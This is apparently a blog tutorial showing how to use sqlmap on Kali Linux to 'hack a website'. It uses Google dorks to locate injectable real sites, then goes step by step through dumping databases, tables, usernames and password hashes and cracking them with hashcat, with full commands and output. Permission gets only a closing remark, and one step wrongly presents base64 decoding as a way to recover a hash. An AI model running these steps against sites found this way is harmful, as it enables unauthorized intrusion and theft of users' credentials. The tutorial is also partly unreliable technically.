SQL Injection with sqlmap | finding vulnerable sites

 

SQL injection using sqlmap kali linux

SQL injection is a code injection technique, used to attack data driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL databases. In this guide I will show you how to SQLMAP SQL Injection on Kali Linux to hack a website (more specifically Database) and extract usernames and passwords on Kali Linux. so let's start sqlmap tutorial

What is SQLMAP

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine,

many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

sqlmap url :- https://github.com/sqlmapproject/sqlmap

Features

1. 1. Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
2. 2. Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
3. 3. Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
4. 4. Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
5. 5. Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
6. 6. Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
7. 7. Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.
8. 8. Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
9. 9. Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
10. 10. Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
11. Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.

[Source: www.sqlmap.org] Be considerate to the user who spends time and effort to put up a website and possibly depends on it to make his days end. Your actions might impact someone is a way you never wished for.

So here goes: the sqlmap guide

Step 1: check website for sql injection

This is usually the toughest bit and takes longer than any other steps. Those who know how to use Google Dorks knows this already, but in case you don’t I have put together a number of strings that you can search in Google. Just copy paste any of the lines in Google and Google will show you a number of search results.

Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website

This list a really long.. Took me a long time to collect them. If you know SQL, then you can add more here.. Put them in comment section and I will add them here.

list - https://telegra.ph/dork-list-by-kingboy12tech-09-22

for more latest valnerable website =  https://www.exploit-db.com

Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection

For every string show above, you will get huundreds of search results. How do you know which is really vulnerable to SQLMAP SQL Injection. There’s multiple ways and I am sure people would argue which one is best but to me the following is the simplest and most conclusive.

Let’s say you searched using this string inurl:item_id= and one of the search result shows a website like this:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15

Just add a single quotation mark ‘ at the end of the URL. (Just to ensure, ” is a double quotation mark and ‘ is a single quotation mark).

So now your URL will become like this:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'

If the page returns an SQL error, the page is vulnerable to SQLMAP SQL Injection. If it loads or redirect you to a different page, move on to the next site in your Google search results page.

See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.

Examples of SQLi Errors from Different Databases and Languages

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.

Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Step 2: List DBMS databases using SQLMAP SQL Injection

follow these commands of sqlmap step by step

As you can see from the screenshot above, I’ve found a SQLMAP SQL Injection vulnerable website. Now I need to list all the databases in that Vulnerable database. (this is also called enumerating number of columns). As I am using SQLMAP, it will also tell me which one is vulnerable.

currently we are telling :- sqlmap commands kali linux and you can also install it in you android also without root

now its time to do sql injection attack

Run the following command on your vulnerable website with.

you can also try on this legal vuln. website for sqlmap test on http testphp.vulnweb.com

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbs

In here:

sqlmap = Name of sqlmap binary file

-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)

–dbs = Enumerate DBMS databases

See screenshot below.

This commands reveals quite a few interesting info: some of the sqlmap usage examples are below

web application technology: Apache

back-end DBMS: MySQL 5.0

[10:55:53] [INFO] retrieved: information_schema

[10:55:56] [INFO] retrieved: sqldummywebsite

[10:55:56] [INFO] fetched data logged to text files und

er '/usr/share/sqlmap/output/www.sqldummywebsite.com'

So, we now have two database that we can look into. information_schema is a standard database for almost every MYSQL database. So our interest would be on sqldummywebsite database.

Step 3: List tables of target database using SQLMAP SQL Injection i:e sqlmap query

Now we need to know how many tables this sqldummywebsite database got and what are their names. To find out that information, use the following command:sql injection map

sqlmap basic for sqlmap injection

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables

Sweet, this database got 8 tables.

[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'

[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'

[10:56:22] [INFO] the SQL query used returns 8 entries

[10:56:25] [INFO] retrieved: item

[10:56:27] [INFO] retrieved: link

[10:56:30] [INFO] retrieved: other

[10:56:32] [INFO] retrieved: picture

[10:56:34] [INFO] retrieved: picture_tag

[10:56:37] [INFO] retrieved: popular_picture

[10:56:39] [INFO] retrieved: popular_tag

[10:56:42] [INFO] retrieved: user_info

 

 

and of course we want to check whats inside user_info table using SQLMAP SQL Injection as that table probably contains username and passwords.

Step 4: List columns on target table of selected database using SQLMAP SQL Injection

Now we need to list all the columns on target table user_info of sqldummywebsite database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns

This returns 5 entries from target table user_info of sqldummywebsite database.

[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'

[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'

[10:57:18] [INFO] the SQL query used returns 5 entries

[10:57:20] [INFO] retrieved: user_id

[10:57:22] [INFO] retrieved: int(10) unsigned

[10:57:25] [INFO] retrieved: user_login

[10:57:27] [INFO] retrieved: varchar(45)

[10:57:32] [INFO] retrieved: user_password

[10:57:34] [INFO] retrieved: varchar(255)

[10:57:37] [INFO] retrieved: unique_id

[10:57:39] [INFO] retrieved: varchar(255)

[10:57:41] [INFO] retrieved: record_status

[10:57:43] [INFO] retrieved: tinyint(4)

AHA! This is exactly what we are looking for … target table user_login and user_password .

Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection

SQLMAP SQL Injection makes is Easy! Just run the following command again:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump

Guess what, we now have the username from the database:

[10:58:39] [INFO] retrieved: userX

[10:58:40] [INFO] analyzing table dump for possible password hashes

Almost there, we now only need the password to for this user.. Next shows just that..

Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection

You’re probably getting used to on how to use SQLMAP SQL Injection tool. Use the following command to extract password for the user.

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump

TADA!! We have password.

[10:59:15] [INFO] the SQL query used returns 1 entries

[10:59:17] [INFO] retrieved: 24iYBc17xK0e.

[10:59:18] [INFO] analyzing table dump for possible password hashes

Database: sqldummywebsite

Table: user_info

[1 entry]

+---------------+

| user_password |

+---------------+

| 24iYBc17xK0e. |

+---------------+

But hang on, this password looks funny. This can’t be someone’s password.. Someone who leaves their website vulnerable like that just can’t have a password like that.

That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.just bruteforce or use this command

I will cover it in short here but you should really learn how to use hashcat.

 echo"add ur hash here" | base64 --decode

Step 7: Cracking password

So the hashed password is 24iYBc17xK0e. . How do you know what type of hash is that?

Step 7.a: Identify Hash type

Luckily, Kali Linux provides a nice tool and we can use that to identify which type of hash is this. In command line type in the following command and on prompt paste the hash value:

hash-identifier

Excellent. So this is DES(Unix) hash.

Step 7.b: Crack HASH using cudahashcat

First of all I need to know which code to use for DES hashes. So let’s check that:

cudahashcat --help | grep DES

So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.

I am running a Computer thats got NVIDIA Graphics card. That means I will be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so I will be using oclHashcat on my laptop.

If you’re on VirtualBox or VMWare, neither cudahashcat nor oclhashcat will work. You must install Kali in either a persisitent USB or in Hard Disk. Instructions are in the website, search around.

I saved the hash value 24iYBc17xK0e. in DES.hash file. Following is the command I am running:

cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

Interesting find: Usually Hashcat was unable to determine the code for DES hash. However both cuda Hashcat and oclHashcat found and cracked the key.

Anyhow, so here’s the cracked password: abc123. 24iYBc17xK0e.:abc123

Sweet, we now even have the password for this user.

Conclusion

Thanks for reading and visiting my website.

There’s many other ways to get into a Database or obtain user information. You should practice such techniques on websites that you have permission to.